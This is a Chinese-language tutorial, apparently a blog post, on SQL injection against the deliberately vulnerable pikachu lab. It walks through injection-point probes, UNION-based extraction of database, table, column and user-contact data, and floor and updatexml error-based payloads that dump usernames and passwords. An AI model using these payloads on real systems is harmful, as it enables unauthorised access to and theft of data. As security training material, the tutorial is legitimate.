网络安全-SQL注入原理、攻击及防御(1)

简介: 网络安全-SQL注入原理、攻击及防御(1)

SQL注入原理

程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。

SQL注入条件

  • 用户可以控制数据的输入。
  • 原本要运行的代码拼接了用户的输入并运行。

基本知识(Mysql)

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

添加 sleep(3)看页面是否返回时间长

其他

关于select、union、limit、database等sql语句及函数我都放在了这篇文章,如果您对基本函数还不了解,可以先看下面的文章。

网络安全-Mysql注入知识点

文中有使用sqlmap,关于sqlmap的内容,可以查看网络安全-sqlmap学习笔记

基本流程

2020062310470442.png

                                       sql注入流程图

SQL注入技术

2020062310470442.png

                             sql注入技术

先按照sqlmap的分类(BUETSQ),然后是其他,由易到难,使用靶机pikachu

Union注入攻击

利用union查询来运行想要的sql语句

字符型注入,目标:获取当前数据库中的所有用户名及其他感兴趣的信息。

注入点判断

d' and 1=1#

2020062310470442.png

                                返回正常

字符型注入点,使用单引号闭合即可

字段判断

order by 1和2时没有问题

d' order by 3#

2020062310470442.png

                              order by 3出错

字段数为2,有回显,union没有被过滤,使用Union注入

sql语句猜测,从某个表根据用户名返回两个字段

select field1,field2 from table where 用户名 = ''

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#

2020062310470442.png

                  获取数据库

得到数据库名pikachu

查询表名

d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#

查询到的表

2020062310470442.png

                  数据库的表

得到表名httpinfo、member、message、users、xssblind

查询列名

根据我们的目标,假设对member感兴趣

d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#

2020062310470442.png

             列名

users表中有id、username、pw、phonenum、address、email

通过以上信息,猜测sql语句

select id,email from member where username = ''

查询所需字段值

有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号

d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#

2020062310470442.png

                                            得到数据

你可以尝试以下查询 vince。

Error注入攻击

如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。


Floor函数报错


关键函数:

Rand() -------产生0~1的伪随机数

Floor() -------向下取整数

Concat() -----连接字符串

Count() ------计算总数

Payload如下:

Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

2020062310470442.png

               floor和rand(0)产生重复序列

根据x字段进行分组,统计x的个数

2020062310470442.png

group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)


如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

2020062310470442.png

爆数据库lady_killer9。

这里利用updatexml函数,报错原理简单,第二个不是XPATH类型字符串就报错。

一般使用如下结构,sql是你想运行的sql语句。

updatexml(1,concat(0x7e,(sql),0x7e),1)

0x7e是~,使用char(126)也是一样的,concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。

2020062310470442.png

                                       sqlmap集成

sqlmap集成了上述的三种方式,同时还有其他的

字符型注入,目标:获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。

注入点和字段数判断同上,已知:

字符型注入点,使用单引号闭合即可

字段数为2,有回显,updatexml没有被过滤,使用报错注入

查询表名

d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

注意,结果只能是一行,所以使用了limit 0,1获得第一个表

2020062310470442.png

当sql语句是使用 limit 3,1是时候就可以得到了users表。

查询列名

d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

2020062310470442.png

                             第一个列名

同样,当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时,就得到了username、password、level三个列名。

查询所需字段值

假设我们对username和password感兴趣

d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

2020062310470442.png

                                             结果

当然密码加了密,剩下的交给搞Cryto的人吧。可以看出报错注入攻击比较麻烦,如果有回显,union没有被过滤,还是优先使用union注入攻击。


----------------------------------------没有回显-----------------------------

接下来就是难度中等的了,没有回显,采用盲注


相关文章
|
11天前
|
并行计算 安全 网络协议
探索未来网络:量子互联网的原理与应用
本文深入探讨了量子互联网的基本概念、技术原理及其潜在应用。通过对量子纠缠、量子叠加和量子隐形传态等核心概念的解释,文章展示了量子互联网如何利用量子力学特性来实现超高速、超高安全性的通信。此外,还讨论了量子互联网在金融、医疗、国防等领域的应用前景,以及当前面临的技术挑战和未来的发展方向。
|
9天前
|
存储 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第31天】在数字时代的浪潮中,网络安全和信息安全成为了保护个人隐私和企业资产的重要屏障。本文将通过浅显易懂的语言和生动的比喻,带你深入了解网络安全漏洞、加密技术的奥秘,以及如何培养安全意识。我们将一起探索网络安全的“盾牌”和“剑”,了解它们如何守护我们的数字世界。
115 61
|
4天前
|
SQL 安全 算法
网络安全的守护盾与矛:漏洞防御与加密技术的较量
【9月更文挑战第36天】在数字化时代的浪潮下,网络安全成为保护信息资产的关键。本文深入探讨了网络漏洞的形成机理及其防御策略,同时剖析了加密技术在信息安全中的核心作用。通过实际案例分析,我们揭示了安全意识的重要性,并提供了加强个人和组织网络防护的具体建议。文章旨在为读者提供一套全面的网络安全知识体系,以应对日益复杂的网络威胁。
|
3天前
|
人工智能 安全 网络协议
探索未来网络:量子互联网的原理与应用
本文深入探讨了量子互联网的基础原理、关键技术及其在未来通信领域的应用前景。通过分析量子纠缠、量子叠加等核心概念,揭示了量子互联网相较于传统互联网的优势所在。同时,文章还讨论了当前量子互联网领域面临的技术挑战和解决方案,为读者呈现了一个关于量子互联网的全面且深入的视角。
|
1天前
|
存储 人工智能 安全
云端防御:云计算时代的网络安全策略
随着云计算技术的飞速发展,企业和个人越来越依赖云服务来存储和处理数据。然而,云环境的开放性和灵活性也带来了新的安全挑战。本文将探讨在云计算时代,如何通过有效的网络安全策略保护数据不受威胁。我们将深入分析云服务的安全问题,并介绍一些实用的网络安全措施,帮助读者建立起一套完整的云端防御体系。
9 1
|
11天前
|
机器学习/深度学习 人工智能 自然语言处理
深度学习的奥秘:探索神经网络背后的原理与实践
【9月更文挑战第29天】本文将带你深入理解深度学习的核心概念,从基础理论到实际应用,逐步揭示其神秘面纱。我们将探讨神经网络的工作原理,并通过实际代码示例,展示如何构建和训练一个简单的深度学习模型。无论你是初学者还是有一定经验的开发者,这篇文章都将为你提供宝贵的知识和技能。
24 2
|
12天前
|
SQL 安全 网络安全
揭秘网络安全的盾牌与剑:漏洞防御与加密技术
【9月更文挑战第28天】在数字世界的棋盘上,网络安全是王与后的游戏。本文将带你穿梭于网络的迷宫,揭开那些隐藏在阴影中的安全漏洞,同时探索加密技术这座坚不可摧的堡垒。我们将一起审视网络安全意识的重要性,并分享实用的知识与策略,让你在这场游戏中成为真正的棋手。
|
1天前
|
XML 网络协议 算法
【TCP】网络原理
【TCP】网络原理
9 0
|
2天前
|
SQL 安全 关系型数据库
sql注入原理和sqlmap命令的基础命令以及使用手法
sql注入原理和sqlmap命令的基础命令以及使用手法
|
11天前
|
安全 网络安全 数据安全/隐私保护
网络安全的盾牌与剑:防御漏洞与加密技术
【9月更文挑战第29天】在数字时代的战场上,网络安全成了保护信息资产的关键。本文将通过浅显的语言和生动的比喻,揭示网络攻防战中的重要角色——安全漏洞和加密技术。我们将一起探索如何识别和修补安全漏洞,以及如何运用加密技术来加固我们的数字防线。文章旨在提升公众的安全意识,并分享一些实用的安全措施,让我们每个人都能成为信息安全的守护者。